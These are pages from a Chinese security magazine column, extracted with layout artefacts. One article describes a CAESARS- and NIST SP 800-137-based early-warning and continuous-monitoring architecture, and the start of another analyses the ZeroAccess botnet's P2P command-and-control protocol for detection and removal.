专 家 视 角 体 化 随 着 进 展 的 深 入, 目 前 美 国 已 经 把 这 个 项 目 做 到 基 层, 基 层 的 办 事 处 也 可 以 通 过 运 营 商 提 供 NBIP-VPN, 连 接 到 相 关 网 络 中, 统 一 上 互 联 网 信 息 安 全 持 续 监 控 (ISCM) 定 义 为 对 信 息 安 全 脆 弱 性 和 威 胁 保 持 持 续 的 评 估, 来 支 撑 组 织 的 风 险 管 理 决 策 实 际 上, 其 背 后 有 一 系 列 的 标 准 支 撑 包 括 SP 800-53 53A 等, 基 于 美 国 NIST 的 国 家 漏 洞 数 据 库 (NVD) 和 安 全 配 置 清 单 为 了 配 合 持 续 监 控 战 略,NIST 推 出 了 SP800-137 规 范, 其 中 的 安 全 模 型 就 是 美 国 国 土 安 全 部 推 出 的 CAESARS 凯 撒 ( 连 续 资 产 评 估 态 势 感 知 和 风 险 计 分 ) 框 架, 凯 撒 框 架 提 出 了 安 全 状 态 监 测 和 风 险 评 分 的 基 础 上 安 全 目 标 状 态 的 参 考 架 构, 结 合 了 三 大 联 邦 机 构 的 工 作, 即 国 务 院 的 安 全 风 险 评 分 系 统 财 政 部 和 国 税 局 的 安 全 性 遵 从 状 况 监 测 和 报 告 (SCPMaR) 系 统 和 司 法 部 使 用 的 BigFix 系 统 和 网 络 安 全 评 估 和 管 理 (CSAM) 工 具, 以 及 相 关 的 基 于 资 产 配 置 漏 洞 和 补 丁 的 发 现 和 2.2.3 针 对 保 障 的 持 续 监 控 计 划 和 强 身 份 验 证 持 续 监 测 计 划 2010 年 的 联 邦 信 息 安 全 管 理 法 (Federal Information Security Management Act), 又 称 FISMA 2.0, 要 求 各 机 构 的 信 息 安 全 方 案 中 必 须 包 含 信 息 系 统 的 持 续 监 测 美 国 行 政 管 理 和 预 算 局 (OMB) 已 经 规 定 了 最 后 的 期 限, 各 机 构 的 首 席 信 息 官 必 须 在 2012 财 年 结 束 之 前 实 施 可 持 续 监 测 网 络 安 全 的 软 件 要 求 各 机 构 持 续 监 测 其 整 个 IT 环 境, 修 复 有 漏 洞 且 不 合 规 的 项 目, 并 根 据 联 邦 数 据 调 用 要 求 出 具 报 告 通 过 持 续 监 测 计 划, 美 国 联 邦 政 府 从 以 前 可 能 手 动 审 核 的 联 邦 信 息 系 统 法 规 遵 从 性, 到 接 近 实 时 的 自 动 化 进 程, 可 动 态 管 理 企 业 的 风 险 联 邦 政 府 为 这 个 项 目, 从 2013 年 起,5 年 内 拨 款 60 亿 美 元, 用 于 采 购 相 关 技 术 工 具 和 服 务 管 理 的 相 关 安 全 态 势 监 控 工 具, 给 出 了 一 个 可 以 落 地 的 参 考 架 构 而 在 SP800-137 给 出 了 一 套 结 合 ITIL 和 6 Sigma DMAIC 过 程 的 风 险 计 分 架 构 以 强 化 安 全 落 地,CAESARS 凯 撒 框 架 则 给 出 了 能 力 模 型 和 架 构 模 型 用 以 指 导 相 关 单 位 建 设 强 认 证 (PIV) 计 划 只 有 密 码 是 不 能 提 供 强 大 的 安 全 性 的 美 国 希 望 所 有 用 户 能 够 使 用 双 因 素 身 份 验 证 登 录 到 联 邦 的 所 有 计 算 机, 不 管 是 登 录 系 统 首 页 或 者 坐 在 他 们 在 办 公 室 的 登 录 个 人 电 脑 强 身 份 验 证 是 指 联 邦 员 工 可 以 使 用 符 合 12 号 总 统 令 要 求 的 身 份 验 证 (PIV) 卡 和 密 码, 以 确 保 只 有 授 权 的 员 工 可 以 对 联 邦 信 息 系 统 的 访 问 目 前 美 国 国 防 部 (DoD) 超 过 370 万 用 户 使 用 的 PIV 通 用 访 问 卡 登 录 到 DoD 网 络 所 需 的 92% 业 务 系 统, 在 美 国 联 邦 各 个 政 府 一 路 领 先 此 外,DoD 19

专 家 视 角 扩 大 的 数 字 签 名 和 加 密 使 用 到 多 个 业 务 软 件 应 用 程 序, 用 户 可 以 安 图 1 早 期 预 警 系 统 整 体 架 构 模 型 全 地 签 名 2010 年 起, 美 国 对 PIV 所 覆 盖 的 业 务 系 统 进 行 考 核, 目 标 是 2013 年 达 到 95% 的 覆 盖 度 三 早 期 预 警 系 统 整 体 模 型 3.1 概 述 实 际 上 设 计 早 期 预 警 架 构 还 是 需 要 从 传 统 的 风 险 = 资 产 + 威 胁 + 脆 弱 性 的 架 构 来 考 虑 资 产 管 理 是 传 统 的 运 维 管 理 的 范 畴 威 胁 管 理 重 点 考 虑 的 是 态 势 感 知, 是 安 全 事 件 发 生 的 感 知 能 力 和 呈 现 能 力, 通 过 态 势 感 知 来 进 行 智 能 安 全 决 策, 进 行 攻 击 的 早 期 预 警 脆 弱 性 管 理 重 点 是 风 险 评 估 发 现 的 漏 洞 和 残 余 风 险 的 持 续 监 控, 而 近 年 来, 更 强 调 自 动 化 的 评 估 和 呈 现, 通 过 已 知 脆 弱 性 来 预 警 相 关 的 攻 击, 如 美 国 国 家 航 空 航 天 局 NASA 就 通 过 已 知 的 RSA 被 入 侵, 根 证 书 被 窃 取, 可 能 影 响 到 NASA,NASA 重 点 对 RSA 系 统 进 行 监 控, 避 免 了 一 起 针 对 其 的 APT 攻 击 行 为 风 险 管 理 就 需 要 结 合 资 产 管 理 威 胁 管 理 和 脆 弱 性 管 理 的 结 构 进 行 统 一 风 险 呈 现 3.2 整 体 架 构 模 型 整 体 架 构 设 计 上, 还 是 借 鉴 CAESARS 凯 撒 框 架 的 4 层 模 型, 即 传 感 器 子 系 统 资 料 库 /A 存 储 库 子 系 统 分 析 / 风 险 评 分 子 系 统 和 展 示 和 报 告 子 系 统 功 能 模 块 上, 设 计 了 持 续 监 控 态 势 感 知 安 全 运 维 和 知 识 标 准 库 以 及 风 险 计 分, 如 图 1 所 示 各 模 块 的 重 点 如 下 : 态 势 感 知 模 块 英 语 中 信 息 和 情 报 是 相 同 单 词, 因 此 国 内 外 关 注 态 势 感 知 更 关 注 情 报 的 部 分, 关 注 企 业 关 注 的 威 胁 管 理 范 畴, 增 强 企 业 态 势 感 知 能 力, 完 善 企 业 的 早 期 预 警 其 中 重 点 围 绕 威 胁 开 展, 典 型 的 威 胁 包 括 网 络 入 侵 检 测 DDoS 攻 击 检 测 僵 木 蠕 检 测 和 APT 检 测 按 照 业 界 的 通 用 规 范, 这 部 分 是 提 供 给 统 一 的 接 口, 把 检 测 和 防 护 设 备 ( 如 IPS WAF 防 火 墙 防 病 毒 ) 的 日 志 进 行 统 一 收 集, 进 而 感 知 到 威 胁 的 来 临 这 部 分 实 际 上 已 经 成 为 难 点 大 数 据 时 代, 海 量 且 多 样 化 的 数 据 海 量 的 设 备 千 兆 字 节 的 传 输 速 度 数 据 包 有 效 载 荷 加 密 ( 如 IPv6) 虚 拟 化 服 务 和 云 计 算 的 应 用, 伴 随 的 网 络 攻 击 加 剧 和 攻 击 战 术 的 衍 变, 海 量 的 威 胁 态 势 可 能 淹 没 我 们 现 有 的 风 险 管 理 能 力 因 此, 在 大 数 据 时 代, 实 现 态 势 感 知, 必 须 要 从 新 角 度 来 观 察 数 据, 用 新 方 法 来 分 析 数 据, 实 现 人 工 智 能 的 决 策 知 识 系 统 图, 实 20

专 家 视 角 现 决 策 检 测 和 分 析 一 体 化, 实 现 从 信 息 向 情 报 的 转 化, 从 而 有 效 为 预 警 服 务 持 续 监 控 模 块 持 续 监 控 模 块 关 注 的 重 点 是 企 业 内 部 保 障, 包 含 资 产 脆 弱 性 和 安 全 配 置, 因 为 这 些 内 因 往 往 会 被 外 因 威 胁 利 用 传 统 风 险 评 估 的 结 果 残 余 风 险 也 往 往 是 这 部 分, 因 此, 近 年 来 越 来 越 重 视, 而 且 因 为 人 工 风 险 评 估 的 高 成 本 和 随 意 性, 近 年 来 越 来 越 重 视 自 动 化 的 过 程 因 为 自 动 化 才 能 实 现 风 险 的 周 期 监 控, 美 国 为 此 建 立 了 NVD 国 家 漏 洞 库 CVSS 通 用 风 险 评 估 SCAP 等 项 目, 支 持 自 动 化 和 质 量 考 核 而 在 国 内, 也 建 立 了 国 家 漏 洞 库, 但 是 其 他 的 方 面, 和 美 国 在 标 准 方 面 还 是 存 在 较 大 差 距 在 这 个 模 块 里, 重 心 是 扫 描 器 和 配 置 核 查, 通 过 扫 描 器 和 配 置 核 查 进 行 资 产 管 理 和 资 产 发 现 这 方 面, 实 际 上 绿 盟 科 技 有 了 较 好 的 解 决 方 案, 并 在 运 营 商 大 范 围 部 署, 比 较 成 熟 运 维 保 障 模 块 很 多 企 业 已 经 建 有 ITIL 平 台 : 一 方 面, 安 全 事 件 必 须 要 实 现 闭 环 才 能 有 作 用 ; 另 一 方 面, 所 有 安 全 产 品 的 有 效 性 需 要 有 效 的 管 理 才 有 作 用, 试 想 一 下, 一 个 半 年 没 有 升 级 规 则 库 的 IPS 很 难 有 真 正 的 防 护 效 果 因 此, 所 有 安 全 模 块 需 要 有 专 门 的 运 维 保 障 模 块 来 保 障 安 全 防 护 系 统 的 功 能 有 效 性 另 外 就 是 事 件 管 理 事 故 管 理 需 要 发 送 到 其 他 模 块 中 来 实 现 处 置 的 有 效 性 知 识 标 准 模 块 在 国 外, 知 识 标 准 模 块 比 较 受 重 视, 因 为 企 业 需 要 积 累 知 识, 最 佳 实 践 需 要 定 期 收 集 另 外, 一 些 安 全 态 势 需 要 定 期 跟 踪 如 strut2 漏 洞 发 布, 企 业 知 识 库 应 该 进 行 响 应 和 跟 踪, 通 过 和 配 置 核 查 等 模 块, 确 认 企 业 资 产 是 否 采 用 strut2 框 架, 从 而 进 行 有 效 预 警 另 外, 美 国 是 通 过 这 个 模 块 同 步 最 新 的 SCAP 等 知 识, 按 照 美 国 政 府 的 计 划, 他 们 会 把 行 业 的 基 线 也 通 过 这 个 模 块 进 行 下 发, 便 于 进 行 标 杆 管 理, 各 个 单 位 也 便 于 发 现 和 优 秀 单 位 之 间 的 安 全 管 理 差 距 风 险 量 化 计 分 模 块 为 了 实 现 安 全 由 评 估 向 运 维 保 障 转 变, 需 要 对 所 有 的 控 制 措 施 进 行 安 全 量 化, 从 而 有 效 地 发 现 企 业 风 险 管 理 工 作 的 弱 点, 而 且 能 够 提 供 不 同 的 视 图 给 不 同 的 用 户, 如 管 理 层 和 执 行 层 需 要 关 注 重 点 不 同 美 国 近 期 出 台 一 系 列 标 准, 甚 至 提 供 了 云 服 务, 用 来 统 一 风 险 计 算 公 式, 便 于 横 向 评 比 另 外, 通 过 奖 励 优 秀 典 型 来 强 化 风 险 量 化 工 作 在 风 险 量 化 上,NIST 专 门 推 出 了 SP 800-137 来 制 定 相 关 的 风 险 计 分, 实 际 上, 其 思 路 还 是 通 过 安 全 运 维 强 化 安 全 可 控, 其 采 用 了 近 年 来 ITIL 中 引 入 的 6 sigma DMAIC 过 程 来 设 定 目 标, 并 不 断 优 化 目 标, 目 标 是 风 险 的 可 控 程 度 达 到 6 sigma 水 平 关 于 这 些 部 分, 我 后 期 也 会 专 门 筹 文 介 绍 一 些 研 究 成 果 和 实 践 经 验 企 业 数 据 总 线 ESB 近 年 来, 越 来 越 多 的 企 业 建 立 了 企 业 ESB, 作 为 收 集 存 储 企 业 数 据 良 好 模 式 对 企 业 而 言, 信 息 安 全 是 为 企 业 信 息 化 服 务, 而 信 息 化 又 服 务 于 业 务 增 长, 只 有 将 安 全 与 业 务 数 据 相 结 合 才 能 为 企 业 带 来 价 值, 这 一 层 看 似 间 接 却 极 为 必 要 的 关 系 在 大 数 据 时 代 被 无 限 21

专 家 视 角 放 大 Gartner 报 告 指 出, 最 终 安 全 大 数 据 将 演 化 为 IT 商 业 智 能 发 展 趋 势 的 一 部 分, 即 结 合 信 息 安 全 情 报 和 IT 业 务 数 据, 以 提 供 更 高 水 平 的 业 务 情 报 而 企 业 ESB 使 得 安 全 大 数 据 成 为 可 能 通 过 在 ESB 上 开 发 不 同 的 模 块 式 app, 提 供 各 种 不 同 的 安 全 智 能 成 为 未 来 的 主 流 3.3 折 射 成 安 全 管 理 架 构 预 警 监 控 平 台 需 要 发 挥 作 用, 必 须 要 有 完 善 的 安 全 管 理 体 系, 3.4 成 熟 度 模 型 成 熟 度 模 型 上, 我 们 直 接 引 用 了 CAESARS 凯 撒 框 架 的 成 熟 度 模 型, 如 图 3 所 示, 可 以 看 出 这 个 模 型 核 心 还 是 安 全 模 块 形 成 的 自 动 化 可 视 化 和 管 理 化 能 力 这 个 模 型 的 核 心 是 先 保 障 再 防 护, 可 以 看 到 前 三 级 全 部 是 针 对 脆 弱 性 的 监 控, 后 续 加 入 了 其 他 安 全 手 段, 如 威 胁 的 入 侵 检 测 等, 其 中 原 因 可 能 因 为 威 胁 部 分 在 美 国 TIC 计 划 里, 而 对 于 各 个 企 业, 重 点 在 于 持 续 监 控 风 险 因 此, 在 态 势 感 知 和 持 续 健 康 中, 包 含 很 多 管 理 模 块, 实 际 上, 这 些 管 理 模 块 的 成 熟 程 度 就 是 整 个 安 全 管 理 的 成 熟 度 这 些 模 块 如 图 2 ( 注 : 安 全 管 理 能 力 也 是 来 源 SP800-137) 图 3 CAESARS 凯 撒 框 架 的 成 熟 度 模 型 第 0 级 : 手 动 评 估 安 全 评 估 缺 乏 自 动 化 的 解 决 方 案 第 1 级 : 自 动 扫 描 分 布 式 使 用 的 自 动 化 扫 描 工 具 ( 可 以 集 中 或 从 每 个 系 统 分 别 获 得 ) 为 每 个 独 立 系 统 生 成 的 报 告 第 2 级 : 标 准 化 的 测 量 图 2 安 全 管 理 架 构 为 每 个 独 立 系 统 生 成 的 报 告 22

专 家 视 角 允 许 使 用 标 准 化 的 内 容 ( 例 如 USG CB/ FDCC CVE CCE) 第 3 级 : 连 续 监 测 为 每 个 独 立 系 统 生 成 的 报 告 自 动 扫 描 工 具 集 中 化 联 合 控 制 多 样 化 的 安 全 测 量 聚 合 成 风 险 评 分 ( 需 要 标 准 的 测 量 系 统 指 标 和 计 算 方 法 ) 比 较 风 险 评 分 可 以 提 供 给 不 同 企 业 做 标 杆 ( 例 如 通 过 仪 表 盘 ) 主 动 积 极 的 修 复 和 跟 踪 的 风 险 评 分 的 分 布 第 4 级 : 自 适 应 性 连 续 监 测 即 插 即 用 的 CM( 持 续 监 控 ) 组 件 ( 例 如 使 用 标 准 接 口 ) 规 范 结 果 格 式 集 中 开 展 策 略 设 置, 自 动 查 询 整 个 企 业 在 不 同 的 设 备 的 状 况 第 5 级 : 持 续 管 理 风 险 补 偿 功 能 添 加 ( 缓 解 和 补 救 两 者 都 有, 如 发 现 脆 弱 性, 自 动 化 提 示 通 过 防 火 墙 屏 蔽 端 口 或 者 自 动 化 按 照 补 丁 ) 可 以 自 动 化 集 中 开 展 整 个 企 业 不 同 设 备 的 安 全 整 改 工 作 ( 包 含 审 查 和 下 级 单 位 的 变 更 批 准 ) 需 要 采 用 基 于 标 准 的 语 言 描 述 符 合 政 策 并 验 证 过 的 设 备 3.5 早 期 预 警 技 术 模 块 参 考 从 目 前 为 企 业 信 息 中 心 建 立 的 早 期 预 警 系 统 的 经 验 来 看, 以 模 块 提 供 各 个 安 全 能 力 是 重 点, 图 4 是 一 个 比 较 概 要 的 模 型, 其 中 列 图 4 早 期 预 警 系 统 实 现 模 型 举 了 厂 家 的 安 全 产 品, 通 过 这 些 安 全 产 品 形 成 态 势 感 知 和 持 续 监 控 能 力 从 实 践 来 看, 目 前 还 是 入 侵 检 测 作 为 主 导 美 国 的 爱 因 斯 坦 第 一 期 采 用 流 检 测 (netflow 流 检 测,DFI 方 式, 对 于 异 常 流 量 监 测 和 网 络 溯 源 有 非 常 大 意 义 ) 第 二 期 采 用 数 据 包 检 测 ( 采 用 入 侵 检 测 技 术 为 主 体 ) 第 三 期, 重 点 是 蜜 罐 和 SOC 等 产 品, 因 此 这 个 架 构 也 是 比 较 符 合 国 际 潮 流 的 早 期 预 警 系 统 的 特 点 是 采 用 比 较 成 熟 的 系 统, 而 不 是 最 新 的 系 统, 所 以 WAF 等 系 统 不 是 必 配 置, 但 是 网 络 入 侵 检 测 IDS/IPS 是 必 须 要 有 的 入 侵 检 测 提 供 了 丰 富 的 入 侵 告 警 能 力, 可 以 提 供 丰 富 的 23

专 家 视 角 安 全 智 能 发 掘 元 数 据 毕 竟 IDS 从 上 个 世 纪 八 十 年 代 发 明 至 今, 无 论 是 理 论 还 是 实 践 都 非 常 成 熟 异 常 流 量 监 控 系 统 就 是 流 检 测 系 统, 对 于 大 型 企 业 数 据 中 心 都 是 很 有 用 的 它 可 以 提 供 丰 富 的 流 量 信 息 和 溯 源 信 息, 最 重 要 的 是 可 以 提 供 DDoS 的 流 量, 对 于 DDoS 研 判 和 响 应 非 常 重 要 蜜 罐 / 沙 盒 产 品, 作 为 检 测 僵 木 蠕 防 护 APT 攻 击 的 必 备 组 件 也 是 越 来 越 受 到 重 视 实 际 上 个 人 更 喜 欢 一 种 模 式, 就 是 通 过 沙 盒 或 者 其 他 手 段 捕 捉 的 样 本 在 蜜 罐 中 观 察, 可 以 看 出 其 真 正 的 攻 击 意 图 话 说 攻 击 伊 朗 的 火 焰 病 毒, 当 时 研 究 者 放 在 蜜 罐 里 养 了 很 长 时 间, 就 是 不 知 道 他 的 攻 击 企 图 是 什 么, 后 来 才 发 现 是 攻 击 核 设 施 的 工 业 控 制 设 备 的 网 络 防 病 毒, 对 于 企 业 来 说, 病 毒 是 很 重 要 的 要 素, 除 去 APT 的 因 素 外, 病 毒 蠕 虫 都 是 危 害 企 业 网 络 的 头 号 杀 手, 因 此, 这 个 模 块 对 于 病 毒 检 测 是 很 有 必 要 的 网 站 监 控 系 统 是 主 动 威 胁 发 现 设 备, 可 以 主 动 发 现 网 站 篡 改 挂 马 非 法 言 论 等 实 践 来 看, 效 果 比 较 好 另 外, 网 站 监 控 设 备 可 以 定 期 地 对 网 站 进 行 Web 应 用 扫 描, 进 行 周 期 的 安 全 评 估 漏 洞 扫 描 系 统 是 通 过 周 期 扫 描 对 系 统 漏 洞 web 漏 洞 开 放 端 口 弱 口 令 进 行 评 估, 另 外, 也 经 常 用 来 进 行 资 产 管 理 配 置 核 查 系 统 通 过 配 置 检 查 增 强 系 统 的 日 志 记 录 口 令 策 略 安 全 增 强 等 功 能, 保 证 系 统 不 容 易 因 为 配 置 错 误 导 致 入 侵 3.6 一 些 研 究 实 践 成 果 虽 然 从 理 论 上, 早 期 预 警 和 我 们 经 常 说 的 SOC 安 全 运 营 中 心 的 概 念 有 很 大 相 似, 但 是 从 国 际 国 内 相 关 的 事 件 来 看,SOC 平 台 因 为 集 成 的 厂 家 产 品 太 多, 往 往 陷 入 不 停 的 支 持 新 设 备 新 告 警, 实 际 还 在 SIEM 层 面, 态 势 感 知 和 持 续 监 控 所 需 的 智 能 决 策 能 力 不 足, 目 前 也 无 法 有 效 地 形 成 安 全 计 分, 也 因 此 近 期 世 界 最 大 的 安 全 厂 商 赛 门 铁 克 宣 布 其 SOC 停 止 更 新, 不 再 接 入 新 设 备, 转 而 专 注 管 理 其 下 的 态 势 感 知 软 硬 件 和 持 续 监 控 软 硬 件 新 组 件 提 供 给 上 层 平 台 而 更 早 的 Cisco 在 2010 年 宣 布 要 终 结 MARS 产 品 因 此, 发 达 国 家 并 没 有 强 制 各 个 单 位 上 SOC, 转 而 走 安 全 组 件 的 方 式 来 提 供 这 个 能 力 美 国 航 空 航 天 局 NASA 近 年 来 宣 布 其 系 统 实 现 了 这 种 能 力, 通 过 其 平 台, 发 现 了 针 对 NASA 的 APT 攻 击, 黑 客 先 突 破 了 RSA, 并 下 载 了 根 证 书, 然 后 开 始 对 NASA 进 行 攻 击, 而 NASA 采 用 开 源 SOC 的 Alienvault OSSIM( 带 有 安 全 智 能 和 行 为 监 控 部 分 功 能 ) 来 进 行 日 志 收 集, 然 后 通 过 SPLUNK 进 行 安 全 智 能 分 析, 其 安 全 小 组 拥 有 全 世 界 最 好 的 研 究 队 伍 地 球 观 测 系 统 (EOS) 安 全 团 队, 也 因 此 在 态 势 感 知 和 安 全 智 能 上 研 究 得 比 较 好 相 关 的 研 究 成 果 我 会 在 下 一 篇 详 细 介 绍 而 从 国 内 来 看, 运 维 厂 家 生 产 的 SOC 厂 家 对 安 全 智 能 研 究 投 入 和 经 验 不 足, 如 中 国 移 动 SOC(ISMP) 开 发 厂 家 都 不 是 安 全 公 司, 而 是 运 维 开 发 公 司 ; 安 全 公 司 开 发 的 SOC 对 运 维 方 面 投 入 和 经 验 不 足 相 对 的 比 较 成 熟 的 结 构 是 组 件 式 的, 通 过 已 有 的 威 胁 平 台 向 企 业 的 SOC/ITIL 平 台 发 送 告 警, 早 期 预 警 平 台 发 现 了 一 个 扫 描 行 为, 输 出 一 个 告 警 给 SOC/ITIL 平 台 的 工 作 流 部 分 进 行 处 理 相 对 的, 24

专 家 视 角 究 成 果, 在 此 表 示 感 谢 参 考 文 献 1.CAESARS Framework Extension: An Enterprise Continuous Monitoring Technical Reference Model (Second Draft) 2.Continuous Asset Evaluation, S i t u a t i o n a l A w a r e n e s s, a n d R i s k S c o r i n g R e f e r e n c e A r c h i t e c t u r e R e p o r t ( C A E S A R S ) V e r s i o n 1. 8 September 2010 3. S P 8 0 0-1 3 7 - I n f o r m a t i o n Security Continuous Monitoring for 图 5 我 们 比 较 推 荐 这 种 架 构, 它 使 得 安 全 公 司 可 以 将 注 意 力 集 中 在 攻 防 对 抗 上 进 行 安 全 智 能 发 掘 运 维 部 分 可 以 由 企 业 现 有 ITIL 或 者 SOC 来 负 责 这 种 组 件 式 的 能 力 比 较 有 效 如 从 实 践 来 看 DDoS 攻 击 系 统 入 侵 僵 木 蠕 (APT) 攻 击 成 为 组 件 是 一 个 比 较 好 的 态 势 感 知 组 件 图 5 展 示 了 一 个 态 势 感 知 模 块 的 系 统 入 侵 攻 击 的 自 动 化 智 能 发 现 结 果 四 结 语 本 文 为 计 划 的 4 篇 文 章 中 的 第 一 篇, 重 点 是 模 型 和 体 系, 后 续 对 于 态 势 感 知 持 续 监 控 和 风 险 量 化 展 开 论 述 再 次 说 明, 本 文 论 点 主 要 是 个 人 的 一 些 研 究 和 项 目 实 践 关 于 美 国 CNCI FISMA 和 CAESARS 凯 撒 框 架 是 在 广 东 省 通 信 管 理 局 林 鹏 副 局 长 指 导 下 的 一 些 研 Federal informantion Systems and Organizations 4. S P 8 0 0-5 3 A - f i n a l - G u i d e f o r Assessing the Security Controls in Federal Information Systems 5. s p 8 0 0-5 3 - r e v 3 - f i n a l _ R e c o m m e n d e d S e c u r i t y C o n t r o l s for Federal Information Systems and Organizations 25

专 家 视 角 聊 聊 ZeroAccess botnet 的 P2P 机 制 核 心 技 术 部 刘 亚 关 键 字 : ZeroAccess botnet P2P C&C 缺 陷 摘 要 :ZeroAccess 的 botmaster 能 建 立 一 个 规 模 几 百 万 节 点 全 世 界 分 布 的 botnet, 在 于 其 采 用 了 基 于 P2P 技 术 的 C&C 机 制 ZeroAccess 的 P2P 技 术 简 单 而 实 用, 却 存 在 一 些 固 有 的 缺 陷, 有 效 地 利 用 这 些 缺 陷 可 以 对 ZeroAccess botnet 进 行 更 好 的 检 测 破 坏 和 清 除 一 引 言 最 近 几 年 流 行 的 botnet 中,ZeroAccess botnet 算 是 比 较 抢 在 眼 的 一 个, 跟 其 他 botnet 相 比,ZeroAccess 有 如 下 特 点 : 等 多 种 1. 规 模 大, 被 感 染 机 器 的 数 量 在 百 万 级 2. 业 务 类 型 丰 富, 包 括 Click Fraud 比 特 币 挖 矿 信 息 窃 取 3. 采 用 了 基 于 P2P 的 C&C 机 制, 具 有 较 高 的 健 壮 性 和 隐 蔽 性, 能 很 好 地 隐 藏 botmaster 4. 吸 金 能 力 强 大, 据 说 仅 比 特 币 挖 矿 和 adclick 功 能, 每 年 就 能 为 botmaster 带 来 270 万 美 金 的 收 入 ZeroAccess bot 常 见 的 传 播 形 式 是 E-mail 附 件 业 界 先 后 发 现 过 两 个 版 本 的 ZeroAccess bot, 分 别 称 为 v1 和 v2 v1 最 早 发 现 于 2011 年 5 月, 这 个 版 本 的 bot 有 rootkit 功 能, 通 过 rootkit 模 块 来 隐 藏 其 它 的 功 能 模 块, 以 及 与 杀 毒 软 件 进 行 对 抗 v2 版 本 最 早 发 现 于 2012 年 7 月, 跟 v1 相 比, 它 抛 弃 了 rootkit 功 能, 所 有 模 块 均 在 用 户 态 运 行 ; 同 时,C&C 通 信 协 议 也 从 TCP 变 成 UDP 为 主 UDP/TCP 相 结 合 的 结 构 目 前 流 行 的 为 v2 版 本 v1 和 v2 版 的 ZeroAccess 都 采 取 了 基 于 P2P 的 C&C 机 制, v1 的 P2P 网 络 运 行 在 TCP 21810 22292 34354 34355 端 口 上,v2 主 要 运 行 在 UDP 16470/16471/16464/16465 这 几 个 端 口 上 两 个 版 本 的 bot 中 都 有 比 特 币 挖 矿 和 ClickFraud 功 能 实 际 上 ZeroAccess bot 的 功 能 模 块 是 可 扩 展 的, 通 过 其 基 于 P2P 的 C&C 机 制,botmaster 可 以 很 容 易 地 发 布 新 的 功 能 模 块 本 文 以 当 前 活 跃 的 v2 版 ZeroAccess botnet 为 例, 从 技 术 上 对 其 P2P 的 C&C 机 制 做 一 分 析, 并 介 绍 如 何 利 用 其 设 计 上 的 缺 陷 更 好 地 检 测 和 清 除 该 botnet 26

专 家 视 角 二 基 于 P2P 的 C&C 机 制 关 于 ZeroAccess botnet 的 规 模 有 多 种 说 法, 各 方 的 数 据 并 不 一 样, 但 数 量 级 却 保 持 一 致, 都 在 百 万 级, 其 中 Sophos 估 计 其 僵 尸 数 量 有 900 多 万, 而 微 软 估 计 每 天 活 跃 的 僵 尸 数 量 大 概 100 多 万, 从 我 们 实 际 观 察 的 情 况 看, 这 些 数 据 并 不 夸 张 尽 管 有 那 么 多 的 僵 尸 网 络, 但 能 达 到 这 种 规 模 的 实 属 罕 见 ZeroAccess 的 规 模 能 如 此 庞 大 跟 其 采 用 了 基 于 P2P 的 C&C 机 制 分 不 开, 所 有 被 感 染 的 主 机 通 过 这 个 P2P 网 络 紧 紧 地 联 系 在 一 起, 网 络 的 健 壮 性 可 扩 展 性 都 比 较 强,botmaster 需 要 升 级 模 块 或 者 发 布 指 令 时, 只 需 要 随 意 挑 选 若 干 节 点 发 送 升 级 内 容 即 可, 它 们 会 自 动 将 其 分 发 给 其 它 的 bot, botmaster 不 用 担 心 暴 露 自 己, 避 免 了 集 中 式 C&C 机 制 所 固 有 的 缺 点 从 实 际 的 观 察 和 样 本 分 析 发 现, ZeroAccess 的 botmaster 主 要 用 这 个 P2P 网 络 来 分 发 文 件 以 实 现 模 块 升 级, 未 见 到 指 令 分 发 功 能 从 技 术 上 看,ZeroAccess botnet 的 P2P 网 络 跟 正 常 的 P2P 网 络 是 类 似 的, 都 运 行 在 TCP/IP 网 络 之 上, 都 为 上 层 提 供 某 种 服 务, 这 里 是 文 件 传 送 ZeroAccess botnet 使 用 了 一 个 自 定 义 的 P2P 通 信 协 议 完 成 上 述 功 能 为 方 便 起 见, 本 文 将 这 个 协 议 称 为 信 息 交 换 协 议, 下 面 就 详 细 谈 谈 这 个 交 换 协 议 2.1 信 息 交 换 协 议 总 的 来 说, 这 是 一 个 ZeroAccess 所 特 有 的 基 于 UDP 的 应 用 层 协 议, 完 成 如 下 两 个 功 能 : 1. 交 换 peer list,peer list 指 其 它 活 跃 bot 的 IP 2. 交 换 模 块 信 息, 包 括 模 块 名 发 布 日 期 和 签 名 功 能 1 解 决 了 怎 么 转 发 的 问 题, 功 能 2 解 决 了 功 能 模 块 管 理 问 题 它 们 都 基 于 如 图 1 所 示 的 请 求 / 响 应 交 互 来 完 成 图 中 getl 对 应 请 求 报 文,retL 对 应 响 应 报 文 两 种 报 文 均 做 了 XOR 加 密 处 理 明 文 的 报 文 以 一 个 如 图 2 所 示 的 报 文 头 开 始, 其 中 crc 为 校 验 码, 用 于 校 验 报 文 ;type 表 示 报 文 类 型, 可 以 是 getl retl 或 者 newl ( 详 见 后 面 介 绍 );type 后 为 一 复 用 字 段, 对 于 图 1 ZeroAccess 信 息 交 换 协 议 的 交 互 过 程 getl 报 文, 该 字 段 指 示 对 方 是 否 对 请 求 者 做 公 网 IP 检 测 ; 对 于 newl, 该 字 段 相 当 于 TTL ; 对 于 retl 则 无 意 义 报 文 头 后 紧 跟 的 是 payload, 有 peer_list 和 module_list 两 种, 如 图 3 和 4 所 示, 分 别 对 应 功 能 1 和 功 能 2 ZeroAccess 在 分 发 bot 样 本 时 会 在 样 本 中 包 含 一 些 当 前 活 跃 bot 的 IP, 这 些 IP 起 到 了 种 子 的 作 用 在 bot 成 功 感 染 某 个 机 器 后, 它 会 立 刻 向 种 子 IP 发 起 getl/retl 交 互, 以 更 新 其 本 地 peer list, 必 要 的 话 还 会 进 行 模 块 升 级 正 常 运 行 后, 这 种 getl/retl 交 互 会 继 续 进 行, 因 为 整 个 P2P 网 络 内 的 节 点 总 是 在 动 态 变 化 : 当 前 活 跃 节 点 可 能 会 因 为 关 机 或 者 被 清 除 而 离 线, 而 新 的 节 点 又 27

